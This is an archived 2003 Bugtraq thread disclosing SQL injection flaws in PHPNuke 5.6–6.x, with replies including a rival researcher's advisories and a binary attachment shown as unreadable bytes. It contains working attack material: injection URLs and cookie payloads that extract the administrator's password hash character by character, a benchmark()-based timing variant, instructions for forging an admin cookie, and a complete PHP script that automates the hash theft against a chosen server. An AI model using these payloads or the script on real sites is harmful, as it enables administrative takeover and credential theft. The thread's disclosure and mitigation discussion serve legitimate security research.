91211 2003-02-21  02:45  /355 rader/ Lucas Armstrong <lucas@cgishield.com>
Importerad: 2003-02-21  02:45  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <3587>
Ärende: PHPNuke SQL Injection
------------------------------------------------------------


PHPNuke SQL Injection 2-18-2003
http://CGIshield.com

How to steal the password hash of the Admin user on PHPnuke 6.0 & 5.6 
windows+linux method #1

PHPnuke, a widely used open-source web portal system, has been found
to  contain a remotely exploitable SQL injection bug, which allows
stealing of  the administrator's password hash. With the hash, an
attacker may login  and gain complete control of the administrative
side of the system.


The bug exists in the search engine included with PHPnuke
(/modules/search/index.php). In this file, a database call is made
without  placing quotes around a user supplied variable. Since the
database call  selects information from the user table, a hacker can
use a 'select fish'  attack. In this type of attack, the hacker can
determine the value of a  single character in any given column in the
table specified in the  statement. The column of most importance to a
hacker would be the one  holding the administrators encrypted
password.  Since the passwords in PHPnuke (and many other programs)
are an md5 hash,  there are only 16 possible values for each
character and 32 total  characters to expect. Select fishing involves
utilizing the MySQL mid()  function to return true if the character
is guessed correctly, thereby  returning a set of results to the
screen. If the results show up on the  screen, the attacker can
determine that the character is guessed  correctly, and then proceed
to guess the next character in the sequence.  Any  md5 password hash
can be fished in less than 512 (32*16) guesses.  When done by hand,
this can take anywhere from 20-30 minutes, but when the  process is
automated with a program it can take only a few minutes. One  such
program is included at the end of this document.

The first url the hacker would try could look like this:
http://site/modules.php?
name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)
=6&type=stories

When phpnuke queries the mysql database, the query then looks like
this:

"select s.sid, s.aid, s.informant, s.title, s.time, s.hometext,
s.bodytext, a.url, s.comments, s.topic from nuke_stories s,
nuke_authors a  where s.aid=a.aid AND (s.title LIKE '%%' OR
s.hometext LIKE '%%' OR  s.bodytext LIKE '%%' OR s.notes LIKE '%%')
AND TO_DAYS(NOW()) - TO_DAYS (time) <= 1 or mid(a.pwd,1,1)=6 ORDER BY
s.time DESC LIMIT 0,10"

It would check the admin table to see if the first character in the
pwd  (password) column is equal to a value of '6'. If any admin
password begins  with a value of '6', stories written by that admin
will appear on the  screen. If no admin password begins with a value
of '6', or the admin has  written no stories, then the screen will
list no story results.


example admin's hash: 6a204bd89f3c8348afd5c77c717a097a

will the admin's stories show with the following urls called?

(*note* in version 6.0 a check for '()' in any GET variable was added
on  line 36 of mainfile.php , therefore the following data strings
will only  work via POST in version 6.0 or later. The exploit
included at the end of  this file works via POST.)

modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=1&type=stories		NO
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=2&type=stories		No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=3&type=stories		No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=4&type=stories		No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=5&type=stories		No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=6&type=stories		Yes
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=7&type=stories		No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=8&type=stories		No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=9&type=stories		No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=0&type=stories		No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(97)&type=stories	No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(98)&type=stories	No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(99)&type=stories	No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(100)&type=stories	No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(101)&type=stories	No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(102)&type=stories	No


To guess the next character in the sequence the attacker could use the 
following url:
http://site/modules.php?
name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,2,1)
=1&type=stories

and so forth, until all values are determined. When guessing values
from a- f, these values normally would need to be surrounded by
single quotes.  This presents a problem for PHP and other
applications which normally  escape quotes. To get around this
problem, one could use the mysql char()  function which will output
any ascii value, without using quotes. So to  guess the letter 'a'
the hacker could use char(97). Here is an example url  guessing the
3rd character in the pwd column as 'a': http://site/modules.php?
name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,3,1)=char
(97)&type=stories


Now that the attacker determines the password hash of the admin user,
he  can base64 encode the hash (which is what phpnuke expects) and
place it in  a netscape cookie file, and gain access to the target
site. If the admin's  password is 'admin' and the admin's username is
'admin' then you would  take the value 'admin:admin:' and base64
encode it, put it in the cookie  (the variable of the encoded values
is itself 'admin') the end result  would look similar to this (on
localhost):

lang
english
localhost/html/
1024
1809931264
29595766
4083407360
29522340
*
admin
YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6
localhost/html/
1024
3858912640
29529535
3993654000
29523500
*












How to steal the password hash of the Admin user on PHPnuke 6.0 & 5.6 
windows+linux method #2

PHPnuke, a widely used open-source web portal system, has been found
to  contain a remotely exploitable SQL injection bug, which allows
stealing of  the administrator's password hash. With the hash, an
attacker may login  and gain complete control of the administrative
side of the system.

The bug exists due to the format of the admin user's cookies. In
PHPnuke  the admin credentials are stored in the form:
'username:password:', with  the password md5 encrypted, and the
entire string base64 encoded.

Everytime a webpage is requested on the site running PHPnuke, the
'admin'  cookie variable (which contains the username/password value)
is sent to  the script, and everytime its validity is checked in the
auth.php file.  Here is the key code in auth.php which does the check:

// start code

if(isset($admin) && $admin != "") {
  $admin = base64_decode($admin);
  $admin = explode(":", $admin);
  $aid = "$admin[0]";
  $pwd = "$admin[1]";
  $admlanguage = "$admin[2]";
  if ($aid=="" || $pwd=="") {
    $admintest=0;
    echo "<html>\n";
    echo "<title>INTRUDER ALERT!!!</title>\n";
    echo "<body bgcolor=\"#FFFFFF\" text=\"#000000\">\n\n<br><br><br>\n\n";
    echo "<center><img src=\"images/eyes.gif\" border=\"0\"><br><br>\n";
    echo "<font face=\"Verdana\" size=\"+4\"><b>Get Out!
</b></font></center>\n";
    echo "</body>\n";
    echo "</html>\n";
    exit;
  }
  $result=sql_query("select pwd from ".$prefix."_authors where 
aid='$aid'", $dbi);
  if(!$result) {
        echo "Selection from database failed!";
        exit;
  } else {
    list($pass)=sql_fetch_row($result, $dbi);
    if($pass == $pwd && $pass != "") {
        $admintest = 1;
    }
  }
}

// end code


As you notice, the $admin variable is first base64_decoded(), and
split  into the two variables $aid and $pwd. The security problem
lies in the  fact that when a string containing one or more single
quote is base64  encoded, and submitted to the site, it will bypass
PHP's automatic  escaping of GPC variables. Since no additional
checks are done to defend  against an sql injection, an attacker is
free to modify the select query  and determine the admin password
hash.


A more advanced version of the select fish attack must take
place. This is  because in order to determine a certain character
value, the script has to  respond in different way if the character
guess is correct. This is not  naturally possible in PHPnuke, but it
can be accomplished using mySQL's  benchmark() to give a delayed page
response when the character is guessed  correctly.

Now that you are aware of where the sql injection attack occurs, let
me  show the process of how this attack would work by modifying the
select  query:

(`select pwd from ".$prefix."_authors where aid='$aid'`)


lets say the 'admin' user has a password hash  of
'21232f297a57a5a743894a0e4a801fc3'. When we modify the query to check
if the first digit of the 'admin' password hash is equal to '1', we
get  the following result:


mysql> select pwd from nuke_authors where aid='admin' 
and if(mid(pwd,1,1)=1,benchmark(10000000,encode("AAAA","AAAA")),1)/*;
+----------------------------------+
| pwd                              |
+----------------------------------+
| 21232f297a57a5a743894a0e4a801fc3 |
+----------------------------------+
1 row in set (0.00 sec)


The small query execution time signifies an incorrect guess. Look
what  happens when the attacker correctly guesses that the first
character of  the 'admin' password hash is '2':

mysql> select pwd from nuke_authors where aid='admin' and if(mid(pwd,1,1)
=2,benchmark(20000000, encode("AAAA","AAAA")),1)/*;
Empty set (11.11 sec)

The attacker can prolong the execution time to his or her liking when
a  correct guess occurs by raising the first argument to the
benchmark()  function. By the different server response time , an
attacker can  determine a the admin's password hash one character at
a time.







<?php

########## PHPnuke Auto-SelectFish Attacker
########## David@cgishield.com
########## works on phpnuke 5.6 and 6.0

// To use this program, simply upload it to a php enabled webserver,
and  execute // If php times out before the whole password hash is
determined,  // adjust the maximum script execution time in php.ini
// Also, replace following with correct values:

$server="www.phpnuke.org";
$script="/modules.php";

// Title of a story created specifically by the admin who is being
hacked.  $data_to_match="Revolution"; $admin_account_name="nukelite";
$beginchar="1"; $endchar="33";



$admin_account_name=urlencode($admin_account_name);
$data_to_match=urlencode($data_to_match);

$checkchar[0]="char(48)";
$checkchar[1]="char(49)";
$checkchar[2]="char(50)";
$checkchar[3]="char(51)";
$checkchar[4]="char(52)";
$checkchar[5]="char(53)";
$checkchar[6]="char(54)";
$checkchar[7]="char(55)";
$checkchar[8]="char(56)";
$checkchar[9]="char(57)";
$checkchar[a]="char(97)";
$checkchar[b]="char(98)";
$checkchar[c]="char(99)";
$checkchar[d]="char(100)";
$checkchar[e]="char(101)";
$checkchar[f]="char(102)";

for($i=$beginchar;$i<$endchar;$i++){
reset($checkchar);
while (list($i2, $i2val) = @each($checkchar)){

$vars="name=Search&query=$data_to_match&topic=&category=&author=$admin_acco
unt_name&days=1000+and+mid(a.pwd,$i,1)=$checkchar[$i2]&type=stories";
	$data=sendToHost("$server",'post',"$script","$vars");

	if (eregi("No matches found to your query","$data")){

	}
else{

echo("<br>$i= $i2"); flush();break;}

	}

}


function sendToHost($host,$method,$path,$data,$useragent=1)
{
	$method = strtoupper($method);
	$fp = fsockopen($host,80);
	fputs($fp, "$method $path HTTP/1.1\n");
	fputs($fp, "Host: $host\n");
	fputs($fp, "Content-type: application/x-www-form-urlencoded\n");
	fputs($fp, "Content-length: " . strlen($data) . "\n");
	if ($useragent)
		fputs($fp, "User-Agent: Mozilla\n");
	fputs($fp, "Connection: close\n\n");
	if ($method == 'POST')
		fputs($fp, $data);
	while (!feof($fp))
		$buf .= fgets($fp,128);
	fclose($fp);
for($slow=0;$slow<100;$slow++){}

	return $buf;
}


?>


Vulnerability discovered by: David Zentner, david@cgishield.com
http://CGIshield.com
(91211) /Lucas Armstrong <lucas@cgishield.com>/(Ombruten)
Kommentar i text 91316 av Martin Eiszner <martin@websec.org>
Kommentar i text 91319 av David Walker <bugtraq@grax.com>
91316 2003-02-21  22:00  /57 rader/ Martin Eiszner <martin@websec.org>
Importerad: 2003-02-21  22:00  av Brevbäraren
Extern mottagare: Lucas Armstrong <lucas@cgishield.com>
Mottagare: Bugtraq (import) <3592>
Kommentar till text 91211 av Lucas Armstrong <lucas@cgishield.com>
Ärende: Re: PHPNuke SQL Injection
------------------------------------------------------------

hola,

On 20 Feb 2003 20:36:11 -0000
Lucas Armstrong <lucas@cgishield.com> wrote:

> To get around this problem, one could use the mysql char() 
> function which will output any ascii value, without using quotes. So to 
> guess the letter 'a' the hacker could use char(97). Here is an example url 
> guessing the 3rd character in the pwd column as 'a':
> http://site/modules.php?
> name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,3,1)=char
> (97)&type=stories

JFYI:

this maybe off topic but it worth mentioning .. a couple of month ago
we found out  that the mysql char() function can be used within the
"like() - function" to place  quotes.

this may help somebody doing sql-injection in an "quote-stripped :-)"
environment.

example query:
---*--- select id,Name,password from Users where id = 1 and (user()
like "%root%");
---*---

and now "without" quotes:
---*--- select id,Name,password from Users where id = 1 and (user()
like char(37,114,111,111,116,37));
---*---


...


nice day,


mEi





 

-- 
WebSec.org / Martin Eiszner
Gurkgasse 49/Top14
1140 Vienna
Austria / EUROPE

mei@websec.org
http://www.websec.org
tel: 0043 699 121772 37
(91316) /Martin Eiszner <martin@websec.org>/(Ombruten)
91319 2003-02-21  22:35  /13 rader/ David Walker <bugtraq@grax.com>
Importerad: 2003-02-21  22:35  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Externa svar till: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <3594>
Kommentar till text 91211 av Lucas Armstrong <lucas@cgishield.com>
Ärende: Re: PHPNuke SQL Injection / General SQL Injection
------------------------------------------------------------
When programming a system that creates sql strings based on passed in
integers i.e. where some_int=$variable_from_querystring you must
always do a check to confirm that that variable contains only numeric
data.

an alternate fix on sql servers that allow the format
where some_int='1234' -- (quoted numbers) would be to do where
some_int='replace($variable_from_querystring,"'","''")' This would
cause a more than likely harmless error to occur whenever character
occurs within the passed in numeric/integer variable.
(91319) /David Walker <bugtraq@grax.com>/-(Ombruten)
91334 2003-02-22  00:00  /243 rader/ Oriol Carreas <uri@7a69ezine.org>
Importerad: 2003-02-22  00:00  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Externa svar till: uri@7a69ezine.org
Mottagare: Bugtraq (import) <3604>
Ärende: RE: PHPNuke SQL Injection
------------------------------------------------------------

I don't like to claim for the authory of   bugs, because It is not
possible to clarify who discovered/exploited first some bug because
some times we are too lazy to publish them for any reason. But this
is an special reason because the person that claims for the authory
of the TWO "PhpNuke SQL Injection" has discovered them at the same
time than me and exploits them _exactly_ the same way than me so I
think that it can not be a coincidence.

I've been testing the methods of explotation this last week and it
is possible that "David Zenter" (the person who write that advisory)
found that kind of attacks , programmed an exploit for them and
finally he wrote the advisory stealing the authory of this 2 bugs
I am not sure of that so I would like him to answer.

I discovered the $user bug one month ago ( In fact I searched the
website and I found that RFP found them some years ago , but he
didn't publish a succesfull way to exploit them).
I contacted Francisco Bucci ,the author of PhpNuke and I suggested
some patches to him ( and he published the patches in his website)
but phpnuke had still a lot of bugs so I waited to finish my job to
publish them.

PhpNuke has been here for a lot of time so I dont't believe that a
person finds the same _TWO_ bugs than me and exploits them in te
same way so I want "David Zenter" to clarify that.

I am developing another vulnerabilities , what is very strange for
me is that the 2 ones that I've developed are the ones that
"David Zenter" published.

Now I attach the two advisories and the two exploits that I had
written for these bugs judge for yourself if you thing that this
can be a coincidence.

PD.- Excuse my poor english :)

;==================================================================
PHPNUKE is_user || is_admin VULNERABILITY
;==================================================================

General Data :
--------------
        Aplicacion      : PhpNuke.
        Versions        : <= 6.5 ( withouth the patch).
        Vulnerability   : Sql injection in the cookies user y admin.
                        : Access to the application at administration level
                          OR guess any user password.

Introduccion:
-------------
        PhpNuke is a well known content management system programed
in PHP by Francisco Bucci, a lot of people use it because it is very
easy to install and manage.

        PhpNuke doesn't chech the integrity of the cookies "user" and
"admin" that it uses to follow sessions, so it is posible to inject
SQL code and get de administration password.These coockies are
encoded using base64 so the "magic quotes" protection of PHP is not
working.

Vulnerability:
--------------

       The Vulnerable function is found in the file "mainfile.php" :

-------------------------------------------------------------------------------
        function is_user($user) {
            global $prefix;
            if(!is_array($user)) {
                $user = base64_decode($user);
                $user = explode(":", $user);
                $uid = "$user[0]";
                $pwd = "$user[2]";
            } else {
                $uid = "$user[0]";
                $pwd = "$user[2]";
            }
            $result=mysql_query("select pass from $prefix"._users."
                                                  where uid='$uid'");

            list($pass)=mysql_fetch_row($result);
            if($pass == $pwd && $pass != "") {
                return 1;
            }            return 0;
        }
-------------------------------------------------------------------------------

        The function is_admin is almost like the other one.

        There is no other integrity check to the cookie $user in the
phpnuke code so it is posible to inject SQL code in this way :

        $user = base64_encode("uiduser'
CODIGOSQL:noimporant:passowrd");

        Most PhpNuke websites uses mysql 3.x so it is not posible to
use UNION so initialy it seams dificult to exploit.

Way to exploit:
---------------
        To get information from that query we need a valid PhpNuke
user, but  that is very easy because PhpNuke lets anybody create a
user easily. Once we  have a valid userid and a valid password we can
send a query like:

        SELECT pass from nuke_users where uid='<target_uid>'
                AND  pass LIKE '<test>' OR uid='<our_uid>'

        This SELECT will give the password of "target_uid" if <test>
is  correct or our password if that test is not correct. So we can
retrieve  information from that query if we see if we are logged or
not. This allows us  to bruteforce the target password with LIKE's (
we only check one character  at the same time )

        PhpNuke uses md5 in version 6.x ( crypt in versions 5.x )
that gives  an average of 32*(16/2) = 256 tries to get a valid
password.

        I have tested this method and it is posible to get a valid
password within 10 minutes.

Example of a cookie using this method:

        user = base64_encode("2' AND pass LIKE 
'a12bc___________________________' OR 
uid='5612:noimportant:1234567889012345678901234567890ab");

	Where '_' in LIKE's means any character.

Using that method we can find the cookie of _any_ user in phpnuke, in
phpnuke  5.x (I think) that is not possible to go further but in
phpnuke 6.x we can  use the fact that the admin password is stored in
nuke_authors and in  nuke_users.

In the test that I've done , the uid=2 in nuke_users is the
uid=1=admin in nuke_authors.


Patches:
--------
        There is a patch for this vulnerability in PhpNuke's website
but I  must say that PhpNuke's seams to have some other
vulnerabilites not yet  published.

Credit:
--------
        I found this vulnerability one month ago , I dind't believe
that this vulnerability could be in PhpNuke!! , because it is very
used and a lot of  people had already audited it before me , so I
searched in google to find  that vulnerability I found that RFP had
discovered that some years ago , in  PhpNuke 4.x !!! WooW , and it is
still in PhpNuke!! :? RFP didn't find a way  to exploit that , but he
discovered this vuln.


;==================================================================
PHPNUKE Search vulnerability
;==================================================================

General data :
--------------
        Aplicacion      : PhpNuke.
        Versions        : <= 6.5 ( withouth the patch).
        Vulnerability   : Sql injection in the search form.
                        : Access to the application at administration level
                          OR guess any user password.

Introduction:
---------
        PhpNuke is a well known content management system programed
in PHP by Francisco Bucci, a lot of people use it because it is very
easy to install and manage.

        PhpNuke doesn't check the parameter "category" in the search
form to be numeric, and when it builds the SQL query it does not
enclose it with quotes , so it is easy to inject SQL code, quotes
will not be allowed in this code because the "magic quotes"
protection of phpnuke would add slashes to them

Vulnerabilitu:
---------------

        The vulnerable code is in modules/Search/index.php in PhpNuke 6.x
                           and in /search.php in PhpNuke 5.x

-------------------------------------------------------------------------------
  if ($category > 0) {
                    $categ = "AND catid=$category ";
                } elseif ($category == 0) {
                    $categ = "";
                }
  $q = "select s.sid, s.aid, s.informant, s.title, s.time, s.hometext, 
s.bodytext,
        a.url, s.comments, s.topic from ".$prefix. "_stories s, 
".$prefix."_authors
        a where s.aid=a.aid $queryalang $categ";
-------------------------------------------------------------------------------

        This query is done using the nuke_authors table , ( with de
variable  'a' ). so it is posible to get the admin password using a
tecnique similar to  the last advisory.


Explotation Method:
-------------------
        As I said in the last advisory PhpNuke mainly uses MySQL 3.x
so it is not posible to use UNION's tot get the admin password ( in
this case it would  be possible to get the admin password string
directly with unions )

        But we can use a similar tecnique to the last advisory but
withouth using quotes , if we inject :

        AND MID(a.pwd,characternumber,1) = CHAR( characterascii)

        If characterascii is valid the query will give us the search
result otherwise it won't give us anything.This allows us to
bruteforce the administration password, wich can be done with less
than 10 minutes.

        Other parameters can be retrieved using this tecnique:

                * a.uname : needed to log in phpnuke using the admin
                cookie.
                * user()  : mysql user , if it is root we can use some 
tecniques  like creating a file etc ...
                * database()
                * useyouimagination ...

Patches:
--------
        As far as I am concerned there is not an official patch , but
a  workarround is very easy , you just have to enquote the 'category'
parameter  and test that it is a numeric field.

Credit:
--------
        I don't know anybody who has already discovered that If you
feel that  I am not correct please contact with me.

        Vulnerability developed by :    Oriol Carreras - <uri@7a69ezine.org>




-- 
>===============================
>
> http://ripe.7a69ezine.org
>===============================
(91334) /Oriol Carreas <uri@7a69ezine.org>/(Ombruten)
Bilaga (application/x-tgz) i text 91335
Bilaga (application/x-tgz) i text 91336
91335 2003-02-22  00:00  /16 rader/ Oriol Carreas <uri@7a69ezine.org>
Bilagans filnamn: "search.tar.gz"
Importerad: 2003-02-22  00:00  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Externa svar till: uri@7a69ezine.org
Mottagare: Bugtraq (import) <3605>
Bilaga (text/plain) till text 91334
Ärende: Bilaga (search.tar.gz) till: RE: PHPNuke SQL Injection
------------------------------------------------------------
‹±£U>íÛvÛ6²¯äW Ê:­+åKÉt×qäÆml§–¼Û6ñÑ¡)ÈbL‘*IÙqZ×>î7ì§ìì̤@Š¶Ó4'ÝÝ#œ$"Á`f0W€‰¸:ã
?õ7nŒf¾»՝¯>[kšÍæÖÆÆWÍfÓ|ºÙT±­o´`ìéVksÝ|j¶6
~³µi~ŚŸ„»Û,Ší±¯"{Ù÷À=4þ?Úk¨éÿ0jåžç^Œcï†M‚¡;rù\ϳ™;™z|ÂýØFåbÁˆÛßÚ0p2üý#­¡ë]ßñfCζ£xè¹çõñk4Ø¡íy“uÄÑÑ4týx„ÐÏÃPׯwÈÖ"{Äš[ŽÜ|3ü1ô_u&›Œ'ÓNÚåŽÊðn)ó#œÏLZÈãYè³ŠÛô‰{¿g²$½,讖ºa„mÉoyeh¼õKU"¡³0—¿wãrÍ4Ôeou]wÆ`°+n4ØÚxsÆ,/í>ß{ÑÝÿöåÁwß¿:<:~ýÃI¯ú·¿ÿøÓÏö¹3䣋±ûîқøÁô—0ŠgW×ïo>4ÍÖúÆæÖÓ¯ŸU%XFZüõ&ïC>ûÏÊøš˜Ñâk®_•OÁ,NÄ=ó#÷Â]¢Çü]ô;&³÷›æ™|o‰w3y_ï-x§D]©@gʪcîì´$øâh¹K<aÍ÷ëÆö6Û0ØoºZÔµß4ØÎtލ|k0˜ß’óשoæow..áÖ÷%„T³ƒ;&$%ä(¥
â¤ÎhvþŽ;q•¨o*àé,†µš¥wڝ*ü¼à°'b€öŽIþÒYr#o*`ͬÁÖY¤"ŒX9™g±£ÓW¯æf!ùÁN¹Rø%ƒ ÇJV£ deAaِ¸c±uü­Á¯XáWÅ6
¶P
˂eZÂ@aKkŒ£A1p-Å6HTVpÁl7šíÿ(›~ßFŸøu}æ#(Š;±`2 ½•P~	„|ådB;–±~¦ø0Øìwê+ØUbO‰1kõmsuQ~g5;ï¶ÝλJÅÈp3ÞáLÒ¬J%³RÑn {‘_À­˜°ÄÆâ.VYµºòÂ"[K”i΄TB¡]dYvLþ’-º+ÿ¾5Èÿ`xs!ÿÛxºÌÿ¾D+ˆ"å4£?iÄbj¤þÙL,Û'·œýOl×ÿœ¥µûí¿en<5¥ý·LÓDûß0·–õßi_ÿÉ:ïõxêÏ.±˜"ÍÙaçá,椲¶ññŜZ·•”¸S*(Øtª4ŸÇ¬^WF¡cˆµžƒ<Q|~ãÛ®b¸‰ñ͔Gˆ%ÛÎ%%ve,†¼„zCãú\;<8z½ÛëifÒÃwĶÙL¡Xÿà°{|ÚœB/¶…S 
ÃóÓýýî	Ó¶:zk÷ôUÿõñI_ûú‘õþ˜³‘(ý…8ج¿O`"õÔ°h‹€’5Nº?œv{}M+½>îõY
ö™2šŽ§ß ­m.{Ùï¿n˜õ&ԓš¦ß5[hNÎNд·:üSz	Óf+‘ìLº÷?æ~\ëÃö´™=z®Cç÷µëëë?©ÍBOD¥!ÎÎN|Åý‹x˜a,³ .•.6—ìÞñQ¿{„tÃ:ü"o¬•èÉ/3viwpô]w¯?O1K+ÃÊîыÊáÁ‹••Ö×+QueX5áñYÅs/yeïåî	
±¯”Ã3ØÛíuµÇóƒ£Ý“Ÿ>•¢ÏO¿Õ4EO0Jœ ¡Pø
–
eÇm'æaÕ#Ñš
”­šU¨

Ñ}2Ó
eÕêuÖ;Þc§Glï´ÒE›…\AsiÓ"M£¢“ÊWm
|/Xî`äroÈ4K–‚Cž>´
;zbÇ«¢8tý‹X¡ñkiŸ03'ÖÐÄíá0¸¾6„®O
֑G=û’p¼ƒ)Ø°VÖ
†ˆn±Â‘tt-}¶2~§ŒiPt=¢g]LZþ¼†‹ój7ŸùA5HxWœCD ¼ˆF›Öh·ºvþ‡Aù‰Âòˆ˜hUØ5pŽY\0²'®wc¥Ô×vÆÄ>:Èp…5ŽÁ+—I*2ágz“¡@Ku
o¶GªQGÓ5î¥\ˈUŠ§\¶¥(`ƒIR£‘7‹Æ(?<RŽ?PyB&Å2m•o´…¨G(À
´ä|6ñ°#Gðä@<ÆAl{ёàÊöþX,8ˆ¸GÇÚhÏb|€£QʄNC–5åÝýÁÁQ·_óø~ÐÛØ=”ú‚0÷ë‹r8HF cíoŠõ±AðÑL´š×¶fi‘Òe’ÀE®ÇHöèø{”ìvI
`U:ß($_OÊIÈ@¨»›#?ít˽¬ù <ådk…ÌÄ^ZjI’U£Ãs`UeH§·À
)ûN¯Ã@0@àå®Ee<ÇVS:*ˆ6š‚´bIÓö_~îž—Ÿ$šbÈÞ^·/ɎH•«ÇWÐåXi
‘›©ƒ§B|×c×ãeVž“±=gž=yÂè¤î‘Õ/su¶Ä‘S1çUѧŠžÈµü\öÈb5“©w¼Âé3¼Éó•ÄôÀtÑÍfc	íʀ¨씁AøV%לDíäU	VdîÂÆ]_j"èà‹Dƒ¶-`‘A¤~Aj–òÍ<aÍû¯ºž—Bò8u̓…6
f>„'­±¦k‹éѷ݇³£»Ò£OϏN2$íãR$m±Q‚4Ÿ_:1H{ä;e™ì3†™^U”ò“Ó|‰&Š|éþùXJhtßs‰Îå€öœÜ ª"h¼ôiªRÈ#dpbyƒU˜ô7jr‚Ý­ÍN:ÛÊ…(É~…ïýÕÅáHzH	 V®&"¯ªW3–PM¬}–ó»÷òEbýó˜£å?…Ã$¢‰(ôk†Vi6’£“Ëne8–Š!ÍŒ\<Xùë–4£"Å$1W(8	ÆåìêÇÌHd‘Ì‘À)ÁE¬I˜„79µ€9•·áÁÐÝÒn¿Ê Mº¦”VÊQ“—d¡Êæœ×\þèù¸s	ï	9™’ÂjnΜK­H$’;Æ¡$©ÀBéA
Aٗpä¤¡fŠéìâµ—_ñ¡²â¸s)›’Õ¡Ûxτe“eaWë˜yN¥öZTN(c(ç%õ®Ïl†Ñ!’Hd‚)°„˜šf}OJÕҵȧ(L·@žæÙ2!ë‡72CT´B’‘er2
MpžÖ%ˆ«¥¬|FÄþtmì¼-b¹õGYný—³<÷=P³âšbé(?ü)‹žªZÕbÚ-’
PY³“x÷´«I	È(ä¼<§A¾¦:Mï©AÉ÷¹Ç‘	™L]né€I¦Eð/$|Vé—kEáÌ
¦v4]Œß]zÞ;Wçþ䇿wOú?¿Þí½Øÿöåwß¿úùǽ¿=?:<L¯ý›ÏKIYžbü‹ø^`þm@їõZÙxsöëí_­ÆÛ·¿=þæŸOþñh{çßÿa£ñ0‘ÿ–T>ûúéÖæÆzËlދ’
æç—t¥
È¢$šÑ1@’ìiÎ’	?‰ST0,"u4Dĵ²?–é¥òš	?ʲ9´4Ø(ª‹@óª,Õí•b†2Ë •UA–¶åV&tLƒ—µZ†Ü7ÙÉg–܈7*ëg8+!êmøYu=™qáÁÖ=„T³ï շ썹CñHGQpÖõ»ñKÿ’«t2½©6H"­97·hњU^µWk«»«Ò9QQÿ9薋ç=cFNsŸ˜uŠ‚‹”U±Š¤ Üʨ ñXbÀRzw¬$‘šgÔ2[‘?vxëKÖPÉé˜MxÑ2“ó!,Bdß0ãž8 ÜyªÖ(ëXgCÉw9ë/XÎ_˜òœ§H½W«UÁ‹tÎ(-i²w€g±'Ç5…¦'­}eXÊÏ*¶Á‚í\`?!4çRHj·òxuÙÉmò4.B{B"šã:’$+WNßƵ±zL¤ôäù£bq|Â(¨2TÆßÔbЂ>¦jǾw̳)xbY)׈þñ‹cVØ„ЗLî,vÔÝëövOz¸ÜF6wн­fÐ3bÛj­´#±€Œß’þÁH0)r
˜“|@ÇÄwuÐuõ欪Ë:=ÓÔ/ï…Ì?:ºÎßCõåÏGIG(;Þ/,µ†‹Ð¾‚·=žÒ-žR·©ãò,F#ŠÃ'5çºæ¡	Gýsî;ã‰^Â
x5ˆ1`¹Žk{yØ$½“½!©Û[Ò<„F’TšgGÂäÊDµ%EK¼â”jiܵãiÛkOÚ%ÃxdÕL‰7ºva×ļ4ø ©j«ãÕ69Üa« $6¨ÚÕðŒÊ$9ÚIQ¼ÉN;“_cáðyÈíËN²2ÓV§ri.̋OΧyfÓ(š©­zÉDe~Ïü‘œ¯jî=¼W’è"9Ïd$ Ž|´$´Õ‰¤Gµ­èÉm†:3K’:ò;HŠ©U‘™‡…
Ë!
›ÓÞTaÔxu›Þd®Ö~û=R)¥å†ê!Ã@„âfL„Ô(å¢ZͯӒ뢂ú—NȘ–^‘¥ÇŽè¡š¬¶Cg—·ÔãbŠ–U„ÀLq^®blc|í^ŒðLb̬!÷™LYX¸®¤QJ¼…êӂL” ¿½j3&–É%’H ̻ҝ…
—h ÜG!áŽBWåb_![
Ke^½YN„,¨ÐÞØB_\¦¯}éÄp^cåQ‘³Î«Ôt={ñ!]ÂᖷW†¬Ç¤Š¦²“k.L=šMÎyˆÿÛtžG4UœR‰³¿—.‡*ÛN\~gB{ÂÛHtûܳÓÛ®Ûÿ—oÞrß‚
ã)Æg]ã¡ï?[[­Ü÷Ÿ›ë­å÷__¢=Ök¥d×Kúc]Çrˆu…RèŽÇm{
런µzŒà×õî«îa÷¨ß‹™ÇP¶Xô–Pþ¥œƒ'sõædEœÊE›n—T¤íÿÃû/i9û?éî¾8ì~æ5²ÿ­õ§é÷Ÿ›ôýçúÓÍ­¥ý‰Ö»“»ß‚Ý
ù÷‚)þw=( !/dQÀÄ(¢PôbDØ9O-ÞöªºG3²­ëfC”Øx¬?tñöª7éºRðÆXóB`Õu"äÚçCŸ¹pÖ¢ÓùˆUi2b™02xðiÄ+³ÙxlÇúM09ð€c€9 r´®ë#†~Mp!³>|ƒrsÉðA—Ê@u½‘:, óúúº~>g糺L°·ë6Tõ€›nÙC÷2@pSf H]ü„
ü\>§5•¾$+mêúzƒuýwÁ
k×]?
ÝúÒÙ-Û²-Û²-Û²-Û²-Û²-Û²-Û²-Û²-Û²-Û§·ÿ½|/P
